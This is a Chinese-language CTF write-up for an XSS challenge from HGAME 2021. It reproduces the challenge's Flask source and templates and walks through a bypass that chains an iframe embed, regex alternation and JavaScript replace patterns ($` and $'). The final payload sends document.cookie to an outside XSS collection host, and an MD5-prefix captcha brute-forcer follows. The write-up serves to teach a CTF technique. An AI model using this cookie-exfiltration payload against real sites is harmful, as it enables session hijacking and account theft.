一道奇怪的 XSS

摘要
HGAME week3 有道 XSS,蛮有意思的,涉及到蛮多知识盲区,现在刚好有空就再来看看

image-20210319112748166

网页长这样,这道题的逻辑是: 在输对验证码后,我们 POST 出去的消息会被管理员看到,并且只有我们拥有了管理员的 token 才能进 FLAG 页面拿到 flag。所以考的就是 XSS。

首先 Ctrl+U查看网页,注释了网页源代码的地址,然后便拥有了网站的源代码。

image-20210319113159422

源码贴一份防止以后想再看找不到了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
@app.route('/')
def home():
response = make_response(render_template("index.html"))
response.headers['Set-Cookie'] = "token=WELCOME TO HGAME 2021.;"
response.headers['Content-Security-Policy'] = "default-src 'self'; script-src 'self';"
return response


@app.route('/preview')
def preview():
if session.get('substr'):
substr = session['substr']
else:
substr = ""
response = make_response(
render_template("preview.html", substr=substr))
return response


@app.route('/send', methods=['POST'])
def send():
if request.form.get('content'):
content = escape_index(request.form['content'])
if session.get('contents'):
content_list = session['contents']
content_list.append(content)
else:
content_list = [content]
session['contents'] = content_list
return "post has been sent."
else:
return "WELCOME TO HGAME 2021 :)"


@app.route('/search', methods=["POST"])
def replace():
if request.form.get('substr'):
session['substr'] = escape_replace(request.form['substr'])
return "replace success"
else:
return "There is no content to search any more"


@app.route('/contents', methods=["GET"])
def get_contents():
if session.get('contents'):
content_list = jsonify(session['contents'])
else:
content_list = jsonify('<i>2021-02-12</i><p>Happy New Year every guys! '
'Maybe it is nearly done now.</p>',
'<i>2021-02-11</i><p>Busy preparing for the Chinese New Year... '
'And I add some new features to this editor, maybe you can take a try. '
'But it has not done yet, I\'m not sure if it can be safe from attacks.</p>',
'<i>2021-02-07</i><p>so many hackers here, I am going to add some strict rules.</p>',
'<i>2021-02-06</i><p>I have tried to learn HTML the whole yesterday, '
'and I finally made this ONLINE BLOG EDITOR. Feel free to write down your thoughts.</p>',
'<i>2021-02-05</i><p>Yesterday, I watched <i>The Social Network</i>. '
'It really astonished me. Something flashed me.</p>')
return content_list


@app.route('/code', methods=["GET"])
def get_code():
if session.get('code'):
return Response(response=json.dumps({'code': session['code']}), status=200, mimetype='application/json')
else:
code = create_code()
session['code'] = code
return Response(response=json.dumps({'code': code}), status=200, mimetype='application/json')


@app.route('/flag')
def show_flag():
if request.cookies.get('token') == "29342ru89j3thisisfakecookieq983h23ijfq2ojifrnq92h2":
return "hgame{G3t_fl@g_s0_Easy?No_way!!wryyyyyyyyy}"
else:
return "Only admin can get the flag, your token shows that you're not admin!"


@app.route('/clear')
def clear_session():
session['contents'] = []
return "ALL contents are cleared."


def escape_index(original):
content = original
content_iframe = re.sub(
r"^(<?/?iframe)\s+.*?(src=[\"'][a-zA-Z/]{1,8}[\"']).*?(>?)$", r"\1 \2 \3", content)
if content_iframe != content or re.match(r"^(<?/?iframe)\s+(src=[\"'][a-zA-Z/]{1,8}[\"'])$", content):
return content_iframe
else:
content = re.sub(r"<*/?(.*?)>?", r"\1", content)
return content


def escape_replace(original):
content = original
content = re.sub(r"[<>\"\\]", "", content)
return content


def create_code():
hashobj = hashlib.md5()
hashobj.update(bytes(str(time.time()), encoding='utf-8'))
code_hash = hashobj.hexdigest()[:6]
return code_hash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<!--/preview -->
<html lang="en">

<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link href="{{ url_for('static',filename='css/common.css') }}" rel="stylesheet" type="text/css">
<title>ONLINE BLOG EDITOR</title>
<script src="{{ url_for('static',filename='js/jquery-3.5.1.min.js') }}"></script>
<script>
$(function () {
$.get("/contents").done(function (data) {
let content = "{{ substr | safe }}"
let output = document.getElementById("output")
for (let i = 0; i < data.length; i++) {
let div = document.createElement("div")
let substr = new RegExp(content, 'g')
div.innerHTML = data[i].replace(substr, `<b class="search_result">${content}</b>`)
output.appendChild(div)
}
})
})
</script>
</head>

<body>
<div id="header">
<a href="#">Online Blog Editor</a>
</div>
<div id="navigation">
<ol>
<li><a href="#">Editor</a></li>
<li><a href="/flag">Flag</a></li>
<li><a href="#">About</a></li>
<li><a href="#">Help</a></li>
</ol>
</div>
<div id="main">
<h1 id="title">Post to Zuckonit</h1>
<div id="main-content">
<div id="output"></div>
</div>

</div>
</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<!--index.html -->
<html lang="en">

<head>
<!-- source /static/www.zip -->
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link href="{{ url_for('static',filename='css/common.css') }}" rel="stylesheet" type="text/css">
<title>ONLINE BLOG EDITOR</title>
<script src="{{ url_for('static',filename='js/jquery-3.5.1.min.js') }}"></script>
<script src="{{ url_for('static',filename='js/script.js') }}"></script>
</head>

<body>
<div id="header">
<a href="#">Online Blog Editor</a>
</div>
<div id="navigation">
<ol>
<li><a href="#">Editor</a></li>
<li><a href="/flag">Flag</a></li>
<li><a href="#">About</a></li>
<li><a href="#">Help</a></li>
</ol>
</div>
<div id="main">
<h1 id="title">Post to Zuckonit</h1>
<div id="main-content">
<div id="filter">
<fieldset>
<legend>Write Down What On your Mind</legend>
<div id="textarea">
<label>
<textarea id="content" cols="30" rows="1"></textarea>
</label>
</div>
<p class="lead">Attention: you can freely <strong>post</strong> your thoughts to this page.
But this online editor is vulnerable to attack,
so you can write down
<strong>XSS</strong>
sentences and <strong>submit</strong> them to bot backend, and CAPTCHA is necessary.
</p>
<div id="controls">
<div class="buttons">
<label for="content"></label><input type="text" placeholder="what do you want to search?" id="substr"
autocomplete="off">
<button id="search" class="button">Search!</button>
</div>
<div class="buttons">
<button id="send" class="button">Post it !</button>
<label for="captcha"></label><input type="text" placeholder="" id="captcha" autocomplete="off">
<button id="submit" class="button">Submit</button>
<button id="clear" class="button">Clear posts</button>
</div>

</div>
</fieldset>
</div>
<div id="output"></div>
</div>

</div>
</body>
</html>

分析

使用 XSS 窃取 cookie 的话免不了跨域请求,but在主页面已经禁止了跨域。

image-20210319113719570

但是当时做题没注意到,**/preview页面没有跨域限制**

再仔细看 python 程序有两个过滤函数,分别对 POST 的内容和 search 的内容进行过滤

image-20210319115006317

对于 POST 内容的过滤,提取<iframe src="xxxxxx">, 如果没有提取到,则提取 <>中间的内容,如果尖括号也没有,就返回原字符串。

对于 search 内容的过滤,删掉所有 < > " \,

然后再看 preview.html页面,有一段 js 代码,对文本进行正则替换

image-20210319115524216

这里的逻辑是,直接将过滤后的 search 内容作为正则表达式,并将匹配结果替换成 b标签,中间的文本不是原内容,而是 过滤后的 search 内容。这里其实是可控的,只要我们输入的 search 内容绕过了过滤

题解

由于一个页面有跨域限制一个没有,所以第一步应该想到,POST 一个 <iframe src="preview">

image-20210319121050197

然后成功在主页嵌入了/preview页面,接下来专心在/preview搞 XSS 就行

发现对于 search 并没有过滤 |, 而这个符号是 或 的意思,在正则匹配里,/a|b/的表达式匹配到 a 或 b 都算匹配成功,利用 JavaScript里的 replace 漏洞,于是我们测试一下:

image-20210319121530446 image-20210319121558896

成功了,JavaScript 在用iframe|XSSXSSXSS匹配到 ”iframe‘“后直接用 <b class="search_result">iframe|XSSXSSXSS</b>替换了 ”iframe“

接下来只要把 XSSXSSXSS 换成我们需要的东西

但是要注入 XSS 代码的话,必不可少的是尖括号,search 的时候输入尖括号是注定不行了,但是可以利用 iframe 标签两边的尖括号,这时候就利用了 replace函数中和$相关的几个特殊正则表达式:

image-20210319122344905

具体使用方法在 CSDN 找到了一个例子:

image-20210319122427272

所以在这题里,输入$` 会输出 < **, **输入$’ 会输出 src=”preview” > ,测试一下:

image-20210319122903571 image-20210319122920073

成功

接下来直接构造 XSS 内容就好了

1
iframe|$`input onfocus=window.open('https://xss.mjclouds.com/index.php?cookie='+document.cookie) autofocus$'
image-20210319124600338

测试一下:

image-20210319124641832

成功,然后浏览器会直接弹出窗口

image-20210319124720317

XSS 平台也接收到了消息

image-20210319124745550

然后手残刷新了一下主页….然后因为是 autofoucs 的缘故,会直接弹出新页面,导致主页根本看不了,所以**千万不能刷新主页

image-20210319133237797

最后破解 md5 ,python 暴力破解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import hashlib
import string

list = string.ascii_letters + string.digits
for a in list:
for b in list:
for c in list:
for d in list:
for e in list:
for f in list:
str4 = (a + b + c + d + e + f).encode("UTF-8")
value = hashlib.md5(str4)
value1 = value.hexdigest()
# print(value1)
s4 = value1[:6]
# print(s4)
if s4 == 'de6404':
print(str4)
image-20210319133308095

一段时间就破解完成,提交!

image-20210319133525305

参考文章:
参考链接


一道奇怪的 XSS
https://wujunyi792.github.io/2021/03/19/一道奇怪的-XSS/
作者
Wujunyi
发布于
2021年3月19日
许可协议